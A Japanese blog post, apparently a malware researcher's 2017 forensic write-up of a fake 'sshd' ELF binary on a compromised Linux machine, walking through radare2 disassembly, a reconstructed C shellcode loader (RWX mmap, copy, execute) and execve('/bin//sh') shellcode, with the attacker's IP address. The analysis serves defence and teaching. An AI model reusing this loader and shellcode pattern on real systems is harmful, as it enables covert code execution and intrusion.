今回Linuxのハッキング事件のレポートを書かせて頂きます。
内容的には「Linux OS x86」、「ELFバイナリリバーシング」と「シェルコード」の絡みとなります。
この記事を読むだけでもOKですし、もし再現したい場合ASM、gccとLinuxリバーシングのノウハウが必要だと思います。環境的にLinuxのシェルですので解析は全てradare2でやりました。
取り合えず簡単に書きますので、リラックスしながら楽しくに読んで下さい。
■ハッキングされた情報
とあるLinuxマシンに怪しいプロセスが発見されました↓
28641 ? S 0:00 [kworker/2:0] 30514 ? S 0:00 [kworker/1:0] 30518 pts/1 S+ 0:00 [sh] 31544 ? S 0:00 [kworker/3:2] 31670 pts/1 S 0:00 netstat -tc <======ココプロセスツリーで確認したら↓
systemd-+-acpid |-agetty |-cron |-dbus-daemon |-irqbalance |-rsyslogd-+-{in:imklog} | |-{in:imuxsock} | `-{rs:main Q:Reg} |-sshd-+-sshd---bash ←私はここに居ますよw | `-sshd---sshd---bash---sh---netstat <===========ココ |-systemd---(sd-pam)「netstat -tc」のコマンドを使ったこと無いって聞いたいたので。
「netstat」の親プロセスを探すと「sh」コマンド、それと「sshd」がありますね。
と言う事で親プロセスはここで↓
28641 ? S 0:00 [kworker/2:0] 30514 ? S 0:00 [kworker/1:0] 30518 pts/1 S+ 0:00 [sh] <==========親プロセス 31544 ? S 0:00 [kworker/3:2] 31670 pts/1 S 0:00 netstat -tc <========子プロセス不思議な「sshd」プロセスが見つかりませんでした。
探すと、historyで下記のコマンドが実行されたそうで分かりました↓
2097 2017-01-XX 14:30:54 rm -rf sshdhddはext4のフォーマットなので、extundelete /○○ --restore-allで偽sshdを取り戻しました↓
-rwxr-xr-x 1 xxx xxx 3336 Jan XX 13:48 sshd完全に怪しいと思って、「sshd」ファイルの形をチェックしました↓
sshd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, xxx, strippedダイナミックタイプですね、次、リンクされたライブラリをチェック↓
$ ldd sshd linux-gate.so.1 (0xb7712000) libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb7556000) /lib/ld-linux.so.2 (0xb7715000)やはり偽者です。
もっと見たら(readelfで)ハッキングされたマシンでコンパイルされた物と分かりました↓
ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Intel 80386 Version: 0x1 Entry point address: 0x8048357 Start of program headers: 52 (bytes into file) Start of section headers: 2216 (bytes into file) Flags: 0x0 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 8 Size of section headers: 40 (bytes) Number of section headers: 28 Section header string table index: 27 : Symbol table '.dynsym' contains 6 entries: Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 1: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ 2: 00000000 0 FUNC GLOBAL DEFAULT UND mmap@GLIBC_2.0 (2) 3: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2) 4: 00000000 0 FUNC GLOBAL DEFAULT UND munmap@GLIBC_2.0 (2) 5: 08048518 4 OBJECT GLOBAL DEFAULT 15 _IO_stdin_usedここ迄見たら、どうやってコンパイルしたのか分からないので、ここからsshdのバイナリを調査します。
因みに残したネットワークソケットの情報があるので、ハッカーの元IPが分かりました↓
180.97.220.28:8080 BGP情報↓ 23650 | 180.97.220.0/24 | CHINANET-JS-AS | CN | chinatelecom.com.cn | ChinaNet Jiangsu Province Networkプロキシっぽいですね。。
■バイナリーのリバーシング
最初に偽sshdのストリングでチェックし、面白い物を見つけた↓
[^_] [^_] ;*2$"( RRRT[S_ /bin <==== (ノ゚ο゚)ノ オオオオォォォォォォ... //sh@u <====== ..ノオオオォ…(ノ゚ο゚)ノミ(ノ _ _)ノコケッ!! .shstrtab .interp「bin」と「sh」の単語を見たら気分が悪くなりますね..
sshdバイナリのDATAセクションを見たら「bin」と「sh」の単語が近い所にあります....
さくっとradare2をインストールし、asmにリバースしました↓
0x0804974c 31f6 xor esi, esi <==== DATA XREF 0x08048343 0x0804974d f6f7 div bh 0x0804974f ~ e652 out 0x52, al 0x08049750 .string "RRRT[S_" ; len=8 0x08049758 .string "\\a/bin" ; len=6 0x0804975e 47 inc edi 0x0804975f ~ 042f add al, 0x2f 0x08049760 .string "//sh@u" ; len=7 0x08049767 b03b mov al, 0x3b 0x08049769 0f05 syscall <===== (ノ゚ω゚)ノ*...ウオオォォォォォォォー!!こんど「syscall」の単語が出て来ました(--;;)
0x0804974cが0x08048343からxrefされたので、0x08048343を見ようと↓
0x08048330 8d4c2404 lea ecx, [esp + local_4h_2] 0x08048332 2404 and al, 4 0x08048334 83e4f0 and esp, 0xfffffff0 0x08048337 ff71fc push dword [ecx - 4] 0x0804833a 55 push ebp 0x0804833b 89e5 mov ebp, esp 0x0804833d 51 push ecx 0x0804833e 83ec0c sub esp, 0xc 0x08048341 6a25 push 0x25 0x08048343 684c970408 push 0x804974c <====(1) => "1...RRRT[S_../bin.G.//sh@u..;..1....." @ 0x804974c 0x08048348 e8fe000000 call fcn.0804844b <======(2) 0x0804834d 8b4dfc mov ecx, dword [ebp - local_4h] 0x08048350 31c0 xor eax, eax 0x08048352 c9 leave 0x08048353 8d61fc lea esp, [ecx - 4] 0x08048356 c3 ret恐らく0x08048330はmain()の関数ですね。コードに書いた(1)と(2)の説明は下記となります↓
(1)はxrefの元のアドレス、そこに0x0804974cからのデータをスタック(stack)にプッシュされた。
(2)その後fcn.0804844bの関数をコールされます。
fcn.0804844bはこの辺にありますね↓
↑関数の元名前がstripされたそうですね。
fcn.0804844bをradareで分析をすると↓
0x0804844b 55 push ebp 0x0804844c 89e5 mov ebp, esp 0x0804844e 57 push edi 0x0804844f 56 push esi 0x08048450 53 push ebx 0x08048451 83ec24 sub esp, 0x24 0x08048454 8b5d0c mov ebx, dword [ebp + arg_ch] 0x08048457 8b7508 mov esi, dword [ebp + arg_8h] 0x0804845a 6a00 push 0 0x0804845c 6aff push -1 0x0804845e 6a22 push 0x22 0x08048460 6a07 push 7 0x08048462 53 push ebx 0x08048463 6a00 push 0 0x08048465 e896feffff call sym.imp.mmap <=====mmap() 0x0804846a 89d9 mov ecx, ebx 0x0804846c 89c7 mov edi, eax 0x0804846e 8945e4 mov dword [ebp - local_1ch], eax 0x08048471 f3a4 rep movsb byte es:[edi], byte ptr [esi] 0x08048473 83c420 add esp, 0x20 0x08048476 ffd0 call eax 0x08048478 8b45e4 mov eax, dword [ebp - local_1ch] //memcpyなはずですが.... 0x0804847b 895d0c mov dword [ebp + arg_ch], ebx 0x0804847e 894508 mov dword [ebp + arg_8h], eax 0x08048481 8d65f4 lea esp, [ebp - local_ch] 0x08048484 5b pop ebx 0x08048485 5e pop esi 0x08048486 5f pop edi 0x08048487 5d pop ebp 0x08048488 e993feffff jmp sym.imp.munmap <===munmap()↑このASMの意味はこんな感じです↓
サイズ0x24とPROT_EXEC+PROT_WRITE+PROT_READフラグのmmap(バーチャルメモリのマッングlinux syscall機能)がコールされ、そしてメモリ(stack)上でにデータを書き込んで(およそmemcpyの動きで)、PROT_EXECのフラグなので書き込み終わったらそのままで実行されるように見えます。
この偽sshdがどうやってコンパイルしたか分からないけど、上記のASMが複雑し過ぎて、恐らくコンパイルの時にstripだけじゃなくて、関数とデータが別れるように設定されたそうなので「memcpy」があるはずだが見えない状況です。
その分析ASMデータをもっとシンプルで書くと(少しパッチして、radare2のESILでアナライズをすると)memcpyが見えるようにしました↓
分かり易く上記のASMをCコードに書きましょう!これはデコードの基本ですね、結果は大体こんな感じです↓
void fnc.0804844b(char *_BLOB_DATA, int __size) { void *JunkToExec; // argument passed -> int __size=0x24; JunkToExec=mmap(0,__size,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); memcpy (JunkToExec, *_BLOB_DATA, __size); munmap (JunkToExec, __size); }よーし!ここ迄0x0804844b関数の意味が分かったでしょ。実行のローダー機能ですね、英語だと「executable loader」かな? こんな感じのC言語で書いたシェルコードに多いですね。
所で、どうやってfnc.0804844bが起動されでしょ?
ここで上記に書いたmain関数(0x08048330)の流れに繋がりますが、
C言語でmain()関数を書けば大体はこんな感じですね↓
#define __ExecData_SIZE 0x24 // global variable is needed for the "size".. char __ExecData[] = {"fugahoge.."}; // 実行の為のデータはこんな感じ.. int main(int argc, char *argv[]) { fnc.0804844b (__ExecData, __ExecData_SIZE); //ここで↑2件のバリューを0x0804844bに送ります return 0; }
という意味では"fugahoge"って→「bin」や「sh」単語があるデータ(0x0804974c!0x24)ですね。シェルコードですか?もしシェルコードなら、どんな動きでしょうか?
詳しく確認しましょう。
■シェルコードのリバーシング
一応、偽sshdのリバーシングの時に一応最初からシェルコードの所に行ってしまいましたが、当時未だ色々分かりませんでした。 今、シェルコードがある事、そしてサイズとローダーがある事も分かりますので、明確にシェルコードの部分が見えるようになりました。
この辺ですね↓
それで、radareで最初に偽sshdの「0x0804974c」を開いたけど、 その時にr2は0x0804974cからバイナリのデータとして分析されていたので、ちゃんとx86実行バイナリ「opcode」に分析されなかった。
それをやり直しましょう。
Linux x86のopcode読む方法やツールがあるけど、このシェルコードのサイズが小さいので遣りやすい方法でやりましょう。
私が秀丸で調べ/計算しながら解析したので、その分析した結果はこんな感じです↓
↑まるでシェルコードの形ですね。ASMで結構です(C言語迄に書く必要がありません)。
『重要な調査のヒント』面白いなのは「jnz 0x1f」のコードですね。
意味合い的にこのシェルコードで2回syscall execve("/bin//sh",0,0)を実行されます。自分はこれを初めて見ました。
追加情報ですが、沢山の質問頂き有難う御座います。この場で色々質問の回答をさせて頂きます↓
(1)一番聞かれたポイントはどうやってシェルコードが実行されたのか?
分かり易いように図を作りました↓
読み方は①→②→③→④の方向で、周りの説明を見ながらです。
(2)シェルコードの実行前に、mmap()がコールされた時に、メモリ上で検知が出来る方法がありますでしょうか?
ありません、下記の詳細デバッグ画像を見たら分かるように、mmap()がコールされた時、不具合点が全然見えないので、stack上にフォレンジックをしたいなら、memcpy()からcall eaxの間にある動きのRAMスナップショットを取った方がお勧めです。
(3)デバッギングの時に、シェルコードを確認する方法はありませんか?
あります。オリジナルのバイナリをパッチしたら『call eax又は((void(*)()) *JunkToExec)』のコールが見えますので、もしシェルコードをデバッギングでみたいならcall eax所で実行をしない、デバッグを一時停止にして、シェルコードが必ず*DWORD[ebp - local_ch]にありますので、[ebp - local_ch]の中身を見たら確実にシェルコードが見えますね。下記は私のFreeBSDでのr2のスクリーンショット↓
記事の通り私は最初シェルコードを読む時にツールを使わなかった、上記の画像はradare2で読み込んだシェルコードの分析結果ですね。そして、このシェルコードから解析などが出来ますね^-^)v 因みに私的に「407504」のdissasは実は「jnz 0x01f」です。
■再現
解析の結果が正しいかどうかの確認が必要です。
偽sshdバイナリを再現したらシェルコードが起動された時にトレースで確認が出来ます。
ちょっとだけミスがありますが結果が大体合っています。
※)もし色々試したいならバイナリーをここに保存しました。
■結論
ここ迄の分かった事まとめ↓
1. 中国IPアドレス(180.97.220.28)からのプロキシでハッカーがこのボックスに入りました。
2. ハッキングの方法は恐らくssh経由の攻撃です。
3. ラッピングされたシェルコードのCファイルを偽sshdバイナリとしてコンパイルしたようです。
4. 実行された後にその偽sshdを削除し、開いたshell(sh)を残し、ハッカーが最後に実行したコマンドもそのshell(sh)で発見されました。
5. ハッカーが使ったシェルコードの特徴があり、2回「sh」を実行します。
※)その他の情報が申し訳御座いませんがここで公開が出来ません。
Linuxのリバーシングは楽しいですね!(^-^v #MalwareMustDie!
@unixfreaxjp/0day.jp Tue Jan 31 01:45:34 JST 2017 - AVTokyo ELF Workshop
0 件のコメント:
コメントを投稿